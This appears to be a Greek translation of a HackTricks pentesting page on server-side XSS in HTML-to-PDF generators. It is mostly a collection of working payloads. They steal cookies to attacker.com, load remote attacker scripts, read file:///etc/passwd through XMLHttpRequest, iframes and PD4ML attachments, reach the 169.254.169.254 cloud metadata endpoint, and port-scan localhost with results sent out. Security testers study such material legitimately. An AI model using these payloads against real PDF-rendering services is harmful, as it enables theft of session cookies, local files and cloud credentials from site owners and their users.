Server Side XSS (Dynamic PDF)

Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

Server Side XSS (Δυναμικό PDF)

Εάν μια ιστοσελίδα δημιουργεί ένα PDF χρησιμοποιώντας εισαγόμενη είσοδο από τον χρήστη, μπορείτε να προσπαθήσετε να εξαπατήσετε το bot που δημιουργεί το PDF για να εκτελέσει αυθαίρετο κώδικα JS. Έτσι, αν το bot δημιουργίας PDF εντοπίσει κάποια είδη HTML ετικετών, θα τις ερμηνεύσει, και μπορείτε να καταχραστείτε αυτήν τη συμπεριφορά για να προκαλέσετε ένα Server XSS.

Παρακαλώ, προσέξτε ότι οι ετικέτες <script></script> δεν λειτουργούν πάντα, οπότε θα χρειαστείτε μια διαφορετική μέθοδο για να εκτελέσετε JS (για παράδειγμα, καταχραστική χρήση της <img ). Επίσης, σημειώστε ότι σε μια κανονική εκμετάλλευση θα είστε σε θέση να δείτε/κατεβάσετε το δημιουργημένο pdf, οπότε θα μπορείτε να δείτε όλα όσα γράφετε μέσω JS (χρησιμοποιώντας, για παράδειγμα, το document.write()). Ωστόσο, εάν δεν μπορείτε να δείτε το δημιουργημένο PDF, πιθανώς θα χρειαστεί να εξάγετε τις πληροφορίες κάνοντας αιτήματα web προς εσάς (Blind).

Δημοφιλής δημιουργία PDF

  • Το wkhtmltopdf είναι γνωστό για τη δυνατότητά του να μετατρέπει έγγραφα HTML και CSS σε PDF, χρησιμοποιώντας τη μηχανή απεικόνισης WebKit. Αυτό το εργαλείο είναι διαθέσιμο ως μια εργασία γραμμής εντολών ανοικτού κώδικα, καθιστώντας το προσβάσιμο για μια ευρεία γκάμα εφαρμογών.

  • Το TCPDF προσφέρει μια αξιόπιστη λύση εντός του οικοσυστήματος PHP για τη δημιουργία PDF. Είναι ικανό να χειριστεί εικόνες, γραφικά και κρυπτογράφηση, επιδεικνύοντας την ευελιξία του για τη δημιουργία πολύπλοκων εγγράφων.

  • Για όσους εργάζονται σε ένα περιβάλλον Node.js, το PDFKit παρουσιάζει μια εφικτή επιλογή. Επιτρέπει τη δημιουργία εγγράφων PDF απευθείας από HTML και CSS, παρέχοντας γέφυρα μεταξύ περιεχομένου ιστού και εκτυπώσιμων μορφών.

  • Οι προγραμματιστές Java μπορεί να προτιμούν το iText, μια βιβλιοθήκη που όχι μόνο διευκολύνει τη δημιουργία PDF, αλλά υποστηρίζει επίσης προηγμένες λειτουργίες όπως ψηφιακές υπογραφές και συμπλήρωση φορμών. Το εκτεταμένο σύνολο χαρακτηριστικών του το καθιστά κατάλληλο για τη δημιουργία ασφαλών και διαδραστικών εγγράφων.

  • Το FPDF είναι μια άλλη βιβλιοθήκη PHP, που διακρίνεται για την απλότητα και την ευκολία χρήσης της. Είναι σχεδιασμένο για προγραμματιστές που αναζητούν μια απλή προσέγγιση για τη δημιουργία PDF, χωρίς την ανάγκη για εκτεταμένα χαρακτηριστικά.

Payloads

Ανακάλυψη

<!-- Basic discovery, Write somthing-->
<img src="x" onerror="document.write('test')" />
<script>document.write(JSON.stringify(window.location))</script>
<script>document.write('<iframe src="'+window.location.href+'"></iframe>')</script>

<!--Basic blind discovery, load a resource-->
<img src="http://attacker.com"/>
<img src=x onerror="location.href='http://attacker.com/?c='+ document.cookie">
<script>new Image().src="http://attacker.com/?c="+encodeURI(document.cookie);</script>
<link rel=attachment href="http://attacker.com">

SVG

Οποιοδήποτε από τα προηγούμενα ή τα ακόλουθα payloads μπορούν να χρησιμοποιηθούν μέσα σε αυτό το SVG payload. Ένα iframe που έχει πρόσβαση στο subdomain του Burpcollab και ένα άλλο που έχει πρόσβαση στο metadata endpoint παρουσιάζονται ως παραδείγματα.

<svg xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" class="root" width="800" height="500">
<g>
<foreignObject width="800" height="500">
<body xmlns="http://www.w3.org/1999/xhtml">
<iframe src="http://redacted.burpcollaborator.net" width="800" height="500"></iframe>
<iframe src="http://169.254.169.254/latest/meta-data/" width="800" height="500"></iframe>
</body>
</foreignObject>
</g>
</svg>


<svg width="100%" height="100%" viewBox="0 0 100 100"
xmlns="http://www.w3.org/2000/svg">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
<script type="text/javascript">
// <![CDATA[
alert(1);
// ]]>
</script>
</svg>

Μπορείτε να βρείτε πολλά άλλα SVG payloads στο https://github.com/allanlw/svg-cheatsheet

Αποκάλυψη διαδρομής

<!-- If the bot is accessing a file:// path, you will discover the internal path
if not, you will at least have wich path the bot is accessing -->
<img src="x" onerror="document.write(window.location)" />
<script> document.write(window.location) </script>

Φόρτωση εξωτερικού script

Ο πιο ασφαλής τρόπος για να εκμεταλλευτείτε αυτήν την ευπάθεια είναι να καταχραστείτε την ευπάθεια για να κάνετε το bot να φορτώσει ένα script που ελέγχετε τοπικά. Έπειτα, θα μπορείτε να αλλάξετε το payload τοπικά και να το φορτώνετε στο bot με τον ίδιο κώδικα κάθε φορά.

<script src="http://attacker.com/myscripts.js"></script>
<img src="xasdasdasd" onerror="document.write('<script src="https://attacker.com/test.js"></script>')"/>

Διάβασμα τοπικού αρχείου / SSRF

Αλλάξτε το file:///etc/passwd σε http://169.254.169.254/latest/user-data για παράδειγμα για να προσπαθήσετε να αποκτήσετε πρόσβαση σε εξωτερική ιστοσελίδα (SSRF).

Εάν επιτρέπεται το SSRF, αλλά δεν μπορείτε να φτάσετε σε ένα ενδιαφέρον τομέα ή IP, ελέγξτε αυτήν τη σελίδα για πιθανές παρακάμψεις.

<script>
x=new XMLHttpRequest;
x.onload=function(){document.write(btoa(this.responseText))};
x.open("GET","file:///etc/passwd");x.send();
</script>
<script>
xhzeem = new XMLHttpRequest();
xhzeem.onload = function(){document.write(this.responseText);}
xhzeem.onerror = function(){document.write('failed!')}
xhzeem.open("GET","file:///etc/passwd");
xhzeem.send();
</script>
<iframe src=file:///etc/passwd></iframe>
<img src="xasdasdasd" onerror="document.write('<iframe src=file:///etc/passwd></iframe>')"/>
<link rel=attachment href="file:///root/secret.txt">
<object data="file:///etc/passwd">
<portal src="file:///etc/passwd" id=portal>
<embed src="file:///etc/passwd>" width="400" height="400">
<style><iframe src="file:///etc/passwd">
<img src='x' onerror='document.write('<iframe src=file:///etc/passwd></iframe>')'/>&text=&width=500&height=500
<meta http-equiv="refresh" content="0;url=file:///etc/passwd" />
<annotation file="/etc/passwd" content="/etc/passwd" icon="Graph" title="Attached File: /etc/passwd" pos-x="195" />

Καθυστέρηση του Bot

Οι καθυστερήσεις του Bot αναφέρονται στην τεχνική που χρησιμοποιείται για να καθυστερήσει η αντίδραση του Bot σε μια επίθεση. Αυτό μπορεί να είναι χρήσιμο για να αποφευχθεί η ανίχνευση της επίθεσης από τα αμυντικά συστήματα.

Οι καθυστερήσεις του Bot μπορούν να επιτευχθούν με διάφορους τρόπους, όπως η προσθήκη τυχαίων καθυστερήσεων μεταξύ των αιτημάτων, η προσθήκη καθυστερήσεων πριν από την απάντηση του Bot ή η προσθήκη καθυστερήσεων μεταξύ των ενεργειών που απαιτούνται για την επεξεργασία των αιτημάτων.

Οι καθυστερήσεις του Bot μπορούν να είναι χρήσιμες για την αποφυγή της ανίχνευσης των επιθέσεων, καθώς οι αμυντικοί μηχανισμοί μπορεί να μην αντιληφθούν την ασυνήθιστη δραστηριότητα ως επιθετική. Ωστόσο, οι καθυστερήσεις του Bot μπορεί να επηρεάσουν την απόδοση του συστήματος και να προκαλέσουν ανεπιθύμητες καθυστερήσεις για τους χρήστες.

<!--Make the bot send a ping every 500ms to check how long does the bot wait-->
<script>
let time = 500;
setInterval(()=>{
let img = document.createElement("img");
img.src = `https://attacker.com/ping?time=${time}ms`;
time += 500;
}, 500);
</script>
<img src="https://attacker.com/delay">

Σάρωση Θυρών

Η σάρωση θυρών είναι μια τεχνική που χρησιμοποιείται για να εντοπιστούν ανοιχτές θύρες σε έναν στόχο. Οι επιθέσεις σάρωσης θυρών μπορούν να αποκαλύψουν πιθανά ευπάθειες στο σύστημα και να παρέχουν πληροφορίες για τις υπηρεσίες που εκτελούνται σε κάθε θύρα.

Οι επιθέσεις σάρωσης θυρών μπορούν να γίνουν με τη χρήση εργαλείων όπως το Nmap. Αυτά τα εργαλεία εκτελούν σάρωση σε μια σειρά θυρών σε έναν στόχο και αναφέρουν τις θύρες που είναι ανοιχτές και προσβάσιμες.

Η σάρωση θυρών μπορεί να χρησιμοποιηθεί από κακόβουλους χάκερ για να εντοπίσουν ευπάθειες σε ένα σύστημα και να προβούν σε επιθέσεις. Ως εκ τούτου, είναι σημαντικό να λαμβάνονται μέτρα ασφαλείας για να προστατευθεί ένα σύστημα από επιθέσεις σάρωσης θυρών.

<!--Scan local port and receive a ping indicating which ones are found-->
<script>
const checkPort = (port) => {
fetch(`http://localhost:${port}`, { mode: "no-cors" }).then(() => {
let img = document.createElement("img");
img.src = `http://attacker.com/ping?port=${port}`;
});
}

for(let i=0; i<1000; i++) {
checkPort(i);
}
</script>
<img src="https://attacker.com/startingScan">

Αυτή η ευπάθεια μπορεί να μετατραπεί πολύ εύκολα σε SSRF (καθώς μπορείτε να κάνετε το σενάριο να φορτώσει εξωτερικούς πόρους). Οπότε απλά προσπαθήστε να την εκμεταλλευτείτε (να διαβάσετε μερικά μεταδεδομένα;).

Συνημμένα: PD4ML

Υπάρχουν μερικοί μηχανισμοί μετατροπής HTML σε PDF που επιτρέπουν να καθορίσετε συνημμένα για το PDF, όπως το PD4ML. Μπορείτε να καταχραστείτε αυτή τη δυνατότητα για να συνδέσετε οποιοδήποτε τοπικό αρχείο στο PDF. Για να ανοίξετε το συνημμένο, άνοιξα το αρχείο με τον Firefox και κάνοντας διπλό κλικ στο σύμβολο του συνδετήρα χαρτιού για να αποθηκεύσω το συνημμένο ως ένα νέο αρχείο. Η καταγραφή της απόκρισης PDF με το burp θα πρέπει επίσης να εμφανίζει το συνημμένο σε καθαρό κείμενο μέσα στο PDF.

<!-- From https://0xdf.gitlab.io/2021/04/24/htb-bucket.html -->
<html><pd4ml:attachment src="/etc/passwd" description="attachment sample" icon="Paperclip"/></html>

Αναφορές

Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

Last updated